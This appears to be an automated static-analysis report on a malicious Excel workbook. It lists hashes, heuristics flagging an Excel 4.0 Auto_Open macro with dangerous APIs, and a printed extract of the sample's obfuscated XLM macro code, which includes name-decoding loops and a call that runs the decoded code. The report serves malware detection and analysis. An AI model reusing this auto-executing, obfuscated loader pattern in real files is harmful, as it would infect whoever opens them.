Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 82e632e7497c525f…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:47:29 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: ca05028dca746d657438264ef52bcc3b SHA-1: e7ebc426524915e0d2c082eae9700ec1cc1e61e9 SHA-256: 82e632e7497c525f50b923c2dbf4da20b5e75de1e0086bc8527c8c804907289b
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6851 bytes
SHA-256: fdde0c23f58736e76c3f9e09ad53b423dbb41a82d59860c12f5e12f11d26467f
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  aMKNkpNHMqL
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G191 
' 0018     24 LABEL : Cell Value, String Constant - dBmSZVGUS len=0 
' 0018     23 LABEL : Cell Value, String Constant - eRnryFDX len=0 
' 0018     26 LABEL : Cell Value, String Constant - HODvIdJDgCp len=0 
' 0018     25 LABEL : Cell Value, String Constant - hTPQASXXQU len=0 
' 0018     24 LABEL : Cell Value, String Constant - kFrYFaptw len=0 
' 0018     20 LABEL : Cell Value, String Constant - lcHEH len=0 
' 0018     20 LABEL : Cell Value, String Constant - NqARg len=0 
' 0018     20 LABEL : Cell Value, String Constant - oLMNu len=0 
' 0018     26 LABEL : Cell Value, String Constant - OpYMoMkdPUJ len=0 
' 0018     26 LABEL : Cell Value, String Constant - PlBeSHPnbFI len=0 
' 0018     20 LABEL : Cell Value, String Constant - RnBrI len=0 
' 0018     20 LABEL : Cell Value, String Constant - tMqHa len=0 
' 0018     24 LABEL : Cell Value, String Constant - UQbaZQACm len=0 
' 0018     22 LABEL : Cell Value, String Constant - weGJlMB len=0 
' 0018     22 LABEL : Cell Value, String Constant - WfVssxt len=0 
' 0018     22 LABEL : Cell Value, String Constant - WGBwgrK len=0 
' 0018     27 LABEL : Cell Value, String Constant - wONOLJEmMMsh len=0 
' 0018     21 LABEL : Cell Value, String Constant - wStfOe len=0 
' 0018     20 LABEL : Cell Value, String Constant - WXTzF len=0 
' 0018     26 LABEL : Cell Value, String Constant - YhJItEHULnG len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  aMKNkpNHMqL,S47,"",-902.00000000000000000000
'  aMKNkpNHMqL,S48,"",-243.00000000000000000000
'  aMKNkpNHMqL,S49,"",-541.00000000000000000000
'  aMKNkpNHMqL,S50,"",261.00000000000000000000
'  aMKNkpNHMqL,S51,"",254.00000000000000000000
'  aMKNkpNHMqL,S52,"",52.00000000000000000000
'  aMKNkpNHMqL,G90,"SET.NAME("dBmSZVGUS",0+VALUE("0"))",""
'  aMKNkpNHMqL,G95,"SET.NAME("PlBeSHPnbFI",dBmSZVGUS)",""
'  aMKNkpNHMqL,G99,"SET.NAME("WXTzF",dBmSZVGUS)",""
'  aMKNkpNHMqL,G101,"SET.NAME("wStfOe",COUNTA(UQbaZQACm))",""
'  aMKNkpNHMqL,G106,"SET.NAME("YhJItEHULnG",COUNTA(kFrYFaptw))",""
'  aMKNkpNHMqL,G110,[],""
'  aMKNkpNHMqL,G113,"SET.NAME("NqARg","")",""
'  aMKNkpNHMqL,G118,"PlBeSHPnbFI",""
'  aMKNkpNHMqL,G120,"SET.NAME("eRnryFDX",HLOOKUP("*",UQbaZQACm,PlBeSHPnbFI,FALSE))",""
'  aMKNkpNHMqL,G122,"weGJlMB",""
'  aMKNkpNHMqL,G127,"SET.NAME("OpYMoMkdPUJ",dBmSZVGUS)",""
'  aMKNkpNHMqL,G131,[],""
'  aMKNkpNHMqL,G135,"OpYMoMkdPUJ",""
'  aMKNkpNHMqL,G140,"hTPQASXXQU",""
'  aMKNkpNHMqL,G144,"WGBwgrK",""
'  aMKNkpNHMqL,G148,"oLMNu",""
'  aMKNkpNHMqL,G153,"SET.NAME("wONOLJEmMMsh",VALUE(HLOOKUP("*",kFrYFaptw,oLMNu,FALSE)))",""
'  aMKNkpNHMqL,G158,"tMqHa",""
'  aMKNkpNHMqL,G160,"NqARg",""
'  aMKNkpNHMqL,G162,"WXTzF",""
'  aMKNkpNHMqL,G166,NEXT(),""
'  aMKNkpNHMqL,G171,"RnBrI",""
'  aMKNkpNHMqL,G175,[],""
'  aMKNkpNHMqL,G179,"lcHEH",""
'  aMKNkpNHMqL,G184,NEXT(),""
'  aMKNkpNHMqL,G186,RETURN(),""
'  aMKNkpNHMqL,G209,"SET.NAME("HODvIdJDgCp",G90)",""
'  aMKNkpNHMqL,G211,"UQbaZQACm",""
'  aMKNkpNHMqL,G216,"SET.NAME("kFrYFaptw",R94C11)",""
'  aMKNkpNHMqL,G219,"SET.NAME("lcHEH",228)",""
'  aMKNkpNHMqL,G224,"SET.NAME("WfVssxt",7)",""
'  aMKNkpNHMqL,G227,HODvIdJDgCp(),""
'  aMKNkpNHMqL,G228,HALT(),""

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